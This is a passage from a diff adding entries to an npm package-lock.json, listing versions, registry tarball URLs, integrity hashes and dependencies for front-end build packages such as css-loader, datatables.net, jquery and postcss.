"https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "node_modules/component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" + }, + "node_modules/core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", + "dev": true + }, + "node_modules/css-loader": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-5.0.1.tgz", + "integrity": "sha512-cXc2ti9V234cq7rJzFKhirb2L2iPy8ZjALeVJAozXYz9te3r4eqLSixNAbMDJSgJEQywqXzs8gonxaboeKqwiw==", + "dev": true, + "dependencies": { + "camelcase": "^6.2.0", + "cssesc": "^3.0.0", + "icss-utils": "^5.0.0", + "loader-utils": "^2.0.0", + "postcss": "^8.1.4", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.1.0", + "schema-utils": "^3.0.0", + "semver": "^7.3.2" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/datatables.net": { + "version": "1.10.23", + "resolved": "https://registry.npmjs.org/datatables.net/-/datatables.net-1.10.23.tgz", + "integrity": "sha512-we3tlNkzpxvgkKKlTxTMXPCt35untVXNg8zUYWpQyC1U5vJc+lT0+Zdc1ztK8d3lh5CfdnuFde2p8n3XwaGl3Q==", + "dependencies": { + "jquery": ">=1.7" + } + }, + "node_modules/datatables.net-bs4": { + "version": "1.10.23", + "resolved": "https://registry.npmjs.org/datatables.net-bs4/-/datatables.net-bs4-1.10.23.tgz", + "integrity": "sha512-ChUB8t5t5uzPnJYTPXx2DOvnlm2shz8OadXrKoFavOadB308OuwHVxSldYq9+KGedCeiVxEjNqcaV4nFSXkRsw==", + "dependencies": { + "datatables.net": "1.10.23", + "jquery": ">=1.7" + } + }, + "node_modules/datatables.net-select": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/datatables.net-select/-/datatables.net-select-1.3.1.tgz", + "integrity": "sha512-PeVd/hlAX58QzL0+mGvxnXP7ylLtzZMeAots/uZkQi+6c/KI6JuP8LCJoEMHAsSjQM/BnG7Uw8E1YGOz1tZpQQ==", + "dependencies": { + "datatables.net": "^1.10.15", + "jquery": ">=1.7" + } + }, + "node_modules/datatables.net-select-bs4": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/datatables.net-select-bs4/-/datatables.net-select-bs4-1.3.1.tgz", + "integrity": "sha512-8UOBxChTsn24nP/ZOsIMGZOdTJymQZ8WcQ81NcGgyDz6b4JlsQl8Bwb89AcVT7hncMquPJ3d5WUGG4I9WMhAlw==", + "dependencies": { + "datatables.net-bs4": "^1.10.15", + "datatables.net-select": "1.3.1", + "jquery": ">=1.7" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.3.638", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.638.tgz", + "integrity": "sha512-vbTdlXeu3pAtPt0/T3+HVyX9bu6Lx/iXUYSWBCCRDI+JQiq48m6o4BnZPLBy40+4E0dLbt/Ix9VIJ/06XztfoA==", + "dev": true + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/enhanced-resolve": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", + "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "memory-fs": "^0.5.0", + "tapable": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/errno": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", + "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", + "dev": true, + "dependencies": { + "prr": "~1.0.1" + }, + "bin": { + "errno": "cli.js" + } + }, + "node_modules/es-module-lexer": { + "version": "0.3.26", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.3.26.tgz", + "integrity": "sha512-Va0Q/xqtrss45hWzP8CZJwzGSZJjDM5/MJRE3IXXnUCcVLElR9BRaE9F62BopysASyc4nM3uwhSW7FFB9nlWAA==", + "dev": true + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esrecurse/node_modules/estraverse": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", + "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/events": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.2.0.tgz", + "integrity": "sha512-/46HWwbfCX2xTawVfkKLGxMifJYQBWMwY1mjywRtb4c9x8l5NP3KoJtnIOiL1hfdRkIuYhETxQlo62IF8tcnlg==", + "dev": true, + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "node_modules/file-loader": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "dev": true + }, + "node_modules/graceful-fs": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", + "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", + "dev": true + }, + "node_modules/hammerjs": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/hammerjs/-/hammerjs-2.0.8.tgz", + "integrity": "sha1-BO93hiz/K7edMPdpIJWTAiK/YPE=", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + } + }, + "node_modules/indexes-of": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", + "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", + "dev": true + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "node_modules/jest-worker": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "dev": true, + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jquery": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.5.1.tgz", + "integrity": "sha512-XwIBPqcMn57FxfT+Go5pzySnm4KWkT1Tv7gjrpT1srtf8Weynl6R273VJ5GjkRb51IzMp5nbaPjJXMWeju2MKg==" + }, + "node_modules/jquery-ui": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/jquery-ui/-/jquery-ui-1.12.1.tgz", + "integrity": "sha1-vLQEXI3QU5wTS8FIjN0+dop6nlE=" + }, + "node_modules/json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "node_modules/json5": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz", + "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==", + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/keycharm": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.4.0.tgz", + "integrity": "sha512-TyQTtsabOVv3MeOpR92sIKk/br9wxS+zGj4BG7CR8YbK4jM3tyIBaF0zhzeBUMx36/Q/iQLOKKOT+3jOQtemRQ==" + }, + "node_modules/loader-runner": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", + "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==", + "dev": true, + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "dependencies": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + }, + "engines": { + "node": ">=4.3.0 <5.0.0 || >=5.10" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "node_modules/micromatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", + "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "dev": true, + "dependencies": { + "braces": "^3.0.1", + "picomatch": "^2.0.5" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mime-db": { + "version": "1.45.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.45.0.tgz", + "integrity": "sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.28", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.28.tgz", + "integrity": "sha512-0TO2yJ5YHYr7M2zzT7gDU1tbwHxEUWBCLt0lscSNpcdAfFyJOVEpRYNS7EXVcTLNj/25QO8gulHC5JtTzSE2UQ==", + "dev": true, + "dependencies": { + "mime-db": "1.45.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "node_modules/nanoid": { + "version": "3.1.20", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.20.tgz", + "integrity": "sha512-a1cQNyczgKbLX9jwbS/+d7W8fX/RfgYR7lVWwWOGIPNgK2m0MWvrGF6/m4kk6U3QcFMnZf3RIhL0v2Jgh/0Uxw==", + "dev": true, + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true + }, + "node_modules/node-releases": { + "version": "1.1.69", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.69.tgz", + "integrity": "sha512-DGIjo79VDEyAnRlfSqYTsy+yoHd2IOjJiKUozD2MV2D85Vso6Bug56mb9tT/fY5Urt0iqk01H7x+llAruDR2zA==", + "dev": true + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/picomatch": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz", + "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==", + "dev": true, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/pkg-dir": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-5.0.0.tgz", + "integrity": "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA==", + "dev": true, + "dependencies": { + "find-up": "^5.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/popper.js": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", + "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==" + }, + "node_modules/postcss": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.2.4.tgz", + "integrity": "sha512-kRFftRoExRVXZlwUuay9iC824qmXPcQQVzAjbCCgjpXnkdMCJYBu2gTwAaFBzv8ewND6O8xFb3aELmEkh9zTzg==", + "dev": true, + "dependencies": { + "colorette": "^1.2.1", + "nanoid": "^3.1.20", + "source-map": "^0.6.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", + "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + } + }, + "node_modules/postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + } + }, + "node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz", + "integrity": "sha512-gjMeXBempyInaBqpp8gODmwZ52WaYsVOsfr4L4lDQ7n3ncD6mEyySiDtgzCT+NYC0mmeOLvtsF8iaEf0YT6dBw==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz", + "integrity": "sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ==", + "dev": true + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "node_modules/prr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", + "dev": true + }, + "node_modules/punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "engines": { + "node": ">=6" + } + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "node_modules/schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.0.0.tgz", + "integrity": "sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==", + "dependencies": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/semver": { + "version": "7.3.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.4.tgz", + "integrity": "sha512-tCfb2WLjqFAtXn4KEdxIhalnRtoKFN7nAwj0B3ZXCbQloV2tq5eDbcTmT68JJD3nRJq24/XgxtQKFIpQdtvmVw==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": 